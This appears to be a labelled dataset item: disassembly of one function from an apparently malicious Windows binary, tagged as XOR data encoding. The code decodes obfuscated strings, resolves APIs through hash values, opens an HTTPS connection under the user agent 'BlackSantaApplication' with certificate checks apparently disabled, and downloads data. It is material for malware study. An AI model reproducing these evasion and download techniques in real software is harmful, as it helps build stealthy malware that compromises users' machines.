Function at 0x40be5a
Capabilities:
Encode data using xor

Disassembly:
sub esp, 0x108
push ebx
push ebp
push esi
mov esi, dword [esp + 0x118]
xor eax, eax
push edi
mov edi, esi
mov dword [esp + 0x1a], 0xff9aff8b
mov dword [esp + 0x1e], 0xff8bff87
mov dword [esp + 0x22], 0xff97ffd0
mov dword [esp + 0x26], 0xff92ff8b
stosd dword es:[edi], eax
mov dword [esp + 0x2a], 0xffd3ff93
mov dword [esp + 0x2e], 0xff8fff9e
mov dword [esp + 0x32], 0xff93ff8f
stosd dword es:[edi], eax
mov dword [esp + 0x36], 0xff9cff96
mov dword [esp + 0x3a], 0xff8bff9e
mov dword [esp + 0x3e], 0xff90ff96
stosd dword es:[edi], eax
mov dword [esp + 0x42], 0xffd0ff91
mov dword [esp + 0x46], 0xff97ff87
mov dword [esp + 0x4a], 0xff92ff8b
stosd dword es:[edi], eax
and dword [esi + 0x10], 0
xor ebx, ebx
mov dword [esi + 0x14], 0xf
mov eax, ebx
mov byte [esi], 0
mov dword [esp + 0x4e], 0xffd4ff93
mov dword [esp + 0x52], 0xff92ff87
mov dword [esp + 0x56], 0xffd3ff93
mov dword [esp + 0x5a], 0xff8fff9e
mov dword [esp + 0x5e], 0xff93ff8f
mov dword [esp + 0x62], 0xff9cff96
mov dword [esp + 0x66], 0xff8bff9e
mov dword [esp + 0x6a], 0xff90ff96
mov dword [esp + 0x6e], 0xffd0ff91
mov dword [esp + 0x72], 0xff92ff87
mov dword [esp + 0x76], 0xffc4ff93
mov dword [esp + 0x7a], 0xffc2ff8e
mov dword [esp + 0x7e], 0xffd1ffcf
mov dword [esp + 0x82], 0xffd3ffc6
mov dword [esp + 0x86], 0xff92ff96
mov dword [esp + 0x8a], 0xff98ff9e
mov dword [esp + 0x8e], 0xffd0ff9a
mov dword [esp + 0x92], 0xff89ff9e
mov dword [esp + 0x96], 0xff99ff96
mov dword [esp + 0x9a], 0xff96ffd3
mov dword [esp + 0x9e], 0xff9eff92
mov dword [esp + 0xa2], 0xff9aff98
mov dword [esp + 0xa6], 0xff88ffd0
mov dword [esp + 0xaa], 0xff9dff9a
mov dword [esp + 0xae], 0xffd3ff8f
mov dword [esp + 0xb2], 0xffd0ffd5
mov dword [esp + 0xb6], 0xffc4ffd5
mov dword [esp + 0xba], 0xffc2ff8e
mov dword [esp + 0xbe], 0xffd1ffcf
mov dword [esp + 0xc2], 0xffc7
not word [esp + eax*2 + 0x1a]
inc eax
cmp eax, 0x55
jb 0x40c010
movaps xmm0, xmmword [0x4307d0]
lea eax, [esp + 0x1a]
movups xmmword [esp + 0x1a], xmm0
mov ecx, ebx
mov dword [esp + 0xf8], eax
movaps xmm0, xmmword [str._:02:____:__2fcs]
movups xmmword [esp + 0x2a], xmm0
mov dword [esp + 0xfc], ebx
movaps xmm0, xmmword [0x4307e0]
movups xmmword [esp + 0x3a], xmm0
mov byte [esp + 0xda], bl
movaps xmm0, xmmword [0x430810]
movups xmmword [esp + 0x4a], xmm0
movaps xmm0, xmmword [0x4307c0]
movups xmmword [esp + 0x5a], xmm0
movaps xmm0, xmmword [0x4307b0]
movups xmmword [esp + 0x6a], xmm0
movaps xmm0, xmmword [0x430800]
movups xmmword [esp + 0x7a], xmm0
movaps xmm0, xmmword [0x430840]
movups xmmword [esp + 0x8a], xmm0
movaps xmm0, xmmword [0x430820]
movups xmmword [esp + 0x9a], xmm0
movaps xmm0, xmmword [0x430790]
movups xmmword [esp + 0xaa], xmm0
movaps xmm0, xmmword [0x430830]
movups xmmword [esp + 0xba], xmm0
movaps xmm0, xmmword [0x4307f0]
movups xmmword [esp + 0xca], xmm0
mov al, byte [esp + 0x1a]
xor byte [esp + ecx + 0x1b], al
inc ecx
cmp ecx, 0xbf
jb 0x40c0d5
lea eax, [esp + 0x1b]
mov byte [esp + 0xda], bl
push eax
lea ecx, [esp + 0x104]
call fcn.004054d5
push ebx
push ebx
push ebx
push ebx
push str.BlackSantaApplication
push 0x25e957c2
push 3
pop edi
push edi
call fcn.0040ab30
pop ecx
pop ecx
call eax
mov ebx, eax
test ebx, ebx
je 0x40c360
cmp dword [esp + 0x134], 0x10
lea ecx, [esp + 0x120]
cmovae ecx, dword [esp + 0x120]
xor eax, eax
push eax
push eax
push edi
push eax
push eax
push 0x1bb
push ecx
push ebx
push 0x3db05a0b
push edi
call fcn.0040ab30
pop ecx
pop ecx
call eax
mov ebp, eax
test ebp, ebp
je 0x40c350
cmp dword [esp + 0x14c], 0x10
lea ecx, [esp + 0x138]
lea eax, [esp + 0x168]
cmovae ecx, dword [esp + 0x138]
lea edx, [esp + 0xf8]
cmp dword [esp + 0x17c], 0x10
cmovae eax, dword [esp + 0x168]
xor esi, esi
push esi
push 0x800000
push edx
push esi
push esi
push ecx
push eax
push ebp
push 0xbb82f794
push edi
call fcn.0040ab30
pop ecx
pop ecx
call eax
mov esi, eax
test esi, esi
je 0x40c339
lea eax, [esp + 0xf4]
mov dword [esp + 0xf4], 4
push eax
lea eax, [esp + 0x14]
push eax
push 0x1f
push esi
push 0x3ab06aa7
push edi
call fcn.0040ab30
pop ecx
pop ecx
call eax
test eax, eax
je 0x40c20c
or dword [esp + 0x10], 0x13380
lea eax, [esp + 0x10]
push 4
push eax
push 0x1f
push esi
push 0xb5a54311
push edi
call fcn.0040ab30
pop ecx
pop ecx
call eax
push dword [esp + 0x160]
cmp dword [esp + 0x168], 0x10
lea ecx, [esp + 0x154]
lea eax, [esp + 0x104]
cmovae ecx, dword [esp + 0x154]
cmp dword [esp + 0x118], 0x10
push ecx
push dword [esp + 0x118]
cmovae eax, dword [esp + 0x10c]
push eax
push esi
push 0xff4e09
push edi
call fcn.0040ab30
pop ecx
pop ecx
call eax
test eax, eax
je 0x40c323
xor eax, eax
lea edi, [esp + 0xdc]
stosd dword es:[edi], eax
xor ecx, ecx
push 0x2000
mov dword [esp + 0x18], ecx
push ecx
stosd dword es:[edi], eax
stosd dword es:[edi], eax
stosd dword es:[edi], eax
mov dword [esp + 0xf4], ecx
mov dword [esp + 0xf8], ecx
lea ecx, [esp + 0xe4]
call fcn.0040ac10
mov edi, dword [esp + 0x11c]
cmp dword [esp + 0xf0], 0x10
lea ecx, [esp + 0x14]
push ecx
push 0x2000
lea eax, [esp + 0xe4]
cmovae eax, dword [esp + 0xe4]
push eax
push esi
push 0x933f670a
push 3
call fcn.0040ab30
pop ecx
pop ecx
call eax
test eax, eax
je 0x40c314
cmp dword [esp + 0x14], 0
je 0x40c314
push 0
push dword [esp + 0x18]
lea ecx, [esp + 0xe4]
call fcn.0040b68d
cmp dword [esp + 0xf0], 0x10
lea eax, [esp + 0xdc]
push dword [esp + 0xec]
cmovae eax, dword [esp + 0xe0]
mov ecx, edi
push eax
call fcn.004059dd
jmp 0x40c29c
lea ecx, [esp + 0xdc]
call fcn.00405987
push 3
pop edi
call dword [sym.imp.KERNEL32.dll_GetLastError]
push esi
push 0x1ae6e2db
push edi
call fcn.0040ab30
pop ecx
pop ecx
call eax
push ebp
push 0x1ae6e2db
push edi
call fcn.0040ab30
pop ecx
pop ecx
call eax
mov esi, dword [esp + 0x11c]
push ebx
push 0x1ae6e2db
push edi
call fcn.0040ab30
pop ecx
pop ecx
call eax
lea ecx, [esp + 0x100]
call fcn.00405987
lea ecx, [esp + 0x120]
call fcn.00405987
lea ecx, [esp + 0x138]
call fcn.00405987
lea ecx, [esp + 0x150]
call fcn.00405987
lea ecx, [esp + 0x168]
call fcn.00405987
pop edi
mov eax, esi
pop esi
pop ebp
pop ebx
add esp, 0x108
ret 0x64